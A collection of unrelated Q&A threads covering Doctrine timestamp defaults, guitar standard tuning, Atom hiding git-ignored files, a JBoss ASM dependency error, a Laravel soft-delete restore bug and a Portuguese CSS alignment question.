Answer: A funny little trick I've seen is this (you wouldn't need the database type you created, just update the mapping):
/**
 * @ORM\Column(type="datetime", nullable=false)
 * @ORM\Version
 * @var \DateTime
 */
protected $created = null;

What happens behind the scenes is that Doctrine will end up casting the datetime to a timestamp since it was combined with @version, and should add the default timestamp schema change.
With that said, this isn't quite the intended use for this feature (http://doctrine-orm.readthedocs.org/en/latest/reference/annotations-reference.html#annref-version), and I'd be curious what happens on subsequent update queries you make.
I know you're looking for the default to be set in MySQL so you can run queries outside of Doctrine, but the clearest way to add a default timestamp for me has always been to add it in the object's constructor:
public function __construct()
{
    $this->created = new \DateTime();
}

Symfony doctrine timestamp field


Why is the guitar tuned E A D G B E?

Question: Why is the standard tuning for the guitar  E A D G B E, from the lowest string to the highest?
The interval between strings is a perfect 4th, except for the interval between the G and B strings, which is a major third. Then there is a perfect 4th between the B and E strings, so that the lowest string and the highest string are the same pitch, two octaves apart.
Is there any significance to this tuning? Is this a convention to make fingering chords easier?
Answer: This is a very good question. The answer is "because it's been done that way for centuries, as a result of the preferences of the majority of guitarists over the centuries".
Usually we list the strings by the lowest to the highest:
E A D G B E.
This tuning works very well for playing 4, 5, and 6-note diatonic chords (built on the three pitches in major and minor triads). Consonant sounds fall easily under the fingers.
However, there are many different ways to tune the guitar, some of which require using heavier or lighter gauges of strings, depending on the tuning. We refer to these other tunings as alternate tunings, or by their Hawaiian name, slack key tunings, or by their academic name in Italian, scordatura.
You can adopt any tuning you wish. However, if you wish to learn to play a particular piece of music on the guitar, it is best to use the tuning that the piece was originally written for. In most cases that is the standard tuning. But there are certain popular guitar pieces that were written in other tunings as well.
Comment: OR stranger still, why the "Bottom E" is actually on the top?!? I have always called it the bottom (thicker), I know the Beatles called it the bottom, but my son who just started playing asked me why I call it the bottom when it is really on the top... No clue, it makes sense to me, but he is right.
Comment: @Tim & Billy - it makes some sense when you think about tab notation.  In tabs, the high string makes more sense on the top.  Since the guitar is actually *upside down* for the audience.  But if the player rotates the neck and looks straight at it, the high string is on top.  The low string is only on top if you can look through the back of the neck.  :-)
Comment: Isn't it odd that although we often order the list bottom E to top E, the first string is the thin one ? I stopped calling them top or bottom - thin and thick work for me !
Answer: If you mean the relative tuning string by string, it's mainly for ease of use. There  have been (and still are) many, many different tunings  available, but this one must have become the 'standard' because with it, most chords are available to be fingered without too much trouble.The fact that most of us have four fingers on the fretting hand probably played a part - when soloing, in open position, every chromatic note for more than two octaves is available without moving your fretting hand up or down. In fretted position, it's still easy to play as such, with only a one fret move.
This 5-fret difference could have been continued onto the top strings, but would make barre chords pretty difficult. However, that pattern does go up, and down, with 5 , 6, 7 and even 8 string basses.
If you're asking about why have E as the lowest note, more difficult to say, except that it roughly follows the male human voice range (I'm talking open strings here, for all the castrati out there ! )
It could have been tuned in 5ths as violins are, but they need to be, as they only have four strings, with a much shorter string length making it difficult to play, say, up to its '24th fret' .

Why is the guitar tuned E A D G B E?


Don't see all content of my folder

Question: In my atom when I add a project, it does not display all content (I mean files and folders)) into it.
F.x. on screen below http folder is full of files/folders.
What could be a reason of that?
I've Mac + Atom 1.0.15 (but it started from very long time ago).
Comment: Permissions, possibly.
Comment: @Jongware: well, but I'm as a user see files in Finder.
Answer: I've had the same issue recently. With one of the new versions of Atom, a setting was enabled that I had never changed, causing some files to not show up any more.
The setting is Hide VCS Ignored Files, which can be found in the Packages / Tree View settings:

Make sure this setting is disabled (i.e. unchecked). When it is checked, it will not show files that are ignored by Git. I noticed a <code>.gitignore</code> file in your first screenshot - that could be causing it.
The setting one above this (Hide Ignored Names) could also be relevant, but I'm not entirely sure what it does.
Anyway, the Hide VCS Ignored Files was enabled in one of my workspaces for some reason, and it caused a similar issue as you described. It's probably worth a try...
Comment: Note the difference between the global *Hide VCS Ignored Files* (not what you want) and the tree-view's *Hide VCS Ignored Files* (that's the one).  [They are separate settings](http://blog.lukebennett.com/2015/09/21/show-hidden-files-in-atom-sidebar/).  Had me stumped for a bit!
Comment: Just wanted to mention, that it can be toggled by pressing `i` in the tree-view
Comment: thanks, once I unchecked that property - it started to work.
Comment: @EdwardNewell Your response worked for me! I already had the `Settings > Core Settings > Exclude VCS Ignored Paths` unchecked, but totally overlooked the `Settings > Packages > Core Packages > Tree View > Hide VCA Ignored Files` settings. Thank you so much!

Don't see all content of my folder


Deployment issue of spring with JAX-WS WAR in JBOSS

Question: I am using Spring, Maven and creating a web service in eclipse. While deploying the WAR in JBOSS I am getting following error-
Internal Server Error
{
"outcome" => "failed",
"failure-description" => {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"NextGen-web1.war\".INSTALL" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"NextGen-web1.war\".INSTALL: JBAS018733: Failed to process phase INSTALL of deployment \"NextGen-web1.war\"
Caused by: javax.xml.ws.WebServiceException: java.lang.reflect.UndeclaredThrowableException
Caused by: java.lang.reflect.UndeclaredThrowableException
Caused by: java.lang.NoSuchMethodException: org.objectweb.asm.MethodWriter.visitLabel(org.objectweb.asm.Label)"}},
"rolled-back" => true
}

Answer: you must include this library in your pom.xml:
<dependency>
  <groupId>asm</groupId>
  <artifactId>asm</artifactId>
  <version>3.3.1.redhat-9</version>
</dependency>


Laravel custom soft delete restore not working properly

Question: Adding new columns deleted_flag tiny integer to the Larave soft delete feature.
trait  CustomSoftDeleteTrait
{
    use SoftDeletes;

    protected function runSoftDelete()
    {
        $query = $this->setKeysForSaveQuery($this->newModelQuery());

        $time = $this->freshTimestamp();

        $columns = [$this->getDeletedAtColumn() => $this->fromDateTime($time)];

        $this->{$this->getDeletedAtColumn()} = $time;

        if ($this->timestamps && ! is_null($this->getUpdatedAtColumn())) {
            $this->{$this->getUpdatedAtColumn()} = $time;

            $columns[$this->getUpdatedAtColumn()] = $this->fromDateTime($time);
        }

        $columns[$this->getDeletedFlagColumn()] = 1; //<-- here is the deleting

        $query->update($columns);
    }

    protected function restore()
    {
        if ($this->fireModelEvent('restoring') === false) {
            return false;
        }

        $this->{$this->getDeletedFlagColumn()} = 0; //<-- here is restoring
        $this->{$this->getDeletedAtColumn()} = null;

        $this->exists = true;

        $result = $this->save();

        $this->fireModelEvent('restored', false);

        return $result;
    }

    public function getDeletedFlagColumn()
    {
        return defined('static::DELETED_FLAG') ? static::DELETED_FLAG : 'deleted_flag';
    }
}

Migration for the model,
Schema::create('families', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->string('name');
            $table->integer('family_type');

            $table->timestamp('create_date')->nullable();
            $table->timestamp('update_date')->nullable();
            $table->timestamp('delete_date')->nullable();
            $table->tinyInteger('delete_flg')->nullable();
        });

Using the custom trait in model,
class Family extends Model
{
    use CustomSoftDeleteTrait;

    protected $guarded = [
        'id',
    ];

    const CREATED_AT = 'create_date';
    const UPDATED_AT = 'update_date';
    const DELETED_AT = 'delete_date';
    const DELETED_FLAG = 'delete_flg';
}

When the model is deleted using $family->delete(), both columns delete_date and delete_flg are set. When the model is restored, only one field delete_date is set to null. The delete_flg field remains unchanged at 1.
Answer: This is quite a 'tricky' error to spot.
But all you have to do is changing the modifier of your restore() function from protected to public in your custom Trait.
  protected function restore() { /**/ }

should turn into
  public function restore() { /**/ }

The protected function cannot be accessed from your Family Model. So PHP simply uses the original restore() method from the Eloquent Soft Delete Trait.


Problemas com Alinhamento CSS

Question: estou estudando css3 porem estou com dificuldades quanto o alinhameto
meu CODE HTML

            <input type="checkbox" id="toggle" />

Home

Sobre

Projetos

Ivan Yanez

Front End e Java Developer

        Linkedin
        Github

          O objetivo de aprensentar meu Github é para que clientes(técnico)
          possam verificar e analisar meu codigo afim para tomada de decisão
          sobre a aptidão para determinados projetos.

Github

Veja os Projetos

Linkedin

Acompanhe minha Carreira!

              Ao entrar aqui você poderá visualizar meu Linkedin ainda está em
              processo de melhora e desenvolvimento da mesma espero que em breve
              esteja pronta.

Meu CSS
.linkedin-logo {
  font-size: 40px;
  position: relative;
  right: -10%;
  height: 110%;
  text-transform: uppercase;
  color: black;
  letter-spacing: 4px;
  margin: 0;
  transition: 00.3s;
}

.github-logo {
  font-size: 40px;
  position: relative;
  top: 600px;
  right: -20%;
  height: 110%;
  top: 100%;
  text-transform: uppercase;
  color: black;
  letter-spacing: 4px;
  margin: 0;
  transition: 00.3s;
}

.card-text {
  width: 40%;
  font-family: sans-serif;
  letter-spacing: 1px;
  color: rgb(109, 109, 109);
}

.card-text-1 {
  width: 90%;
  font-family: sans-serif;
  letter-spacing: 1px;
  color: rgb(109, 109, 109);
  position: relative;
  right: -120%;
}

eh preciso colocar o Escrito GITHUB acima da imagem porem ela não está subindo de jeito nenhum
Answer: Olá, tente colocar um margin-bottom ou modificar o seu margin do .github-logo para margin: 0 0 20px 0; tente para ver se muda em algo.
Comment: Sua resposta pode ser melhorada adicionando informações fundamentais. Basta [edit] para adicionar mais detalhes, como citações ou documentação para que outras pessoas possam confirmar que sua resposta está correta. Você pode encontrar mais informações sobre como escrever boas respostas [na Central de Ajuda](/help/how-to-answer).
Comment: Obrigado pela ajuda , eu mexi na margin não do meu elemento Logo porem do meu Card ai funcionou .

Problemas com Alinhamento CSS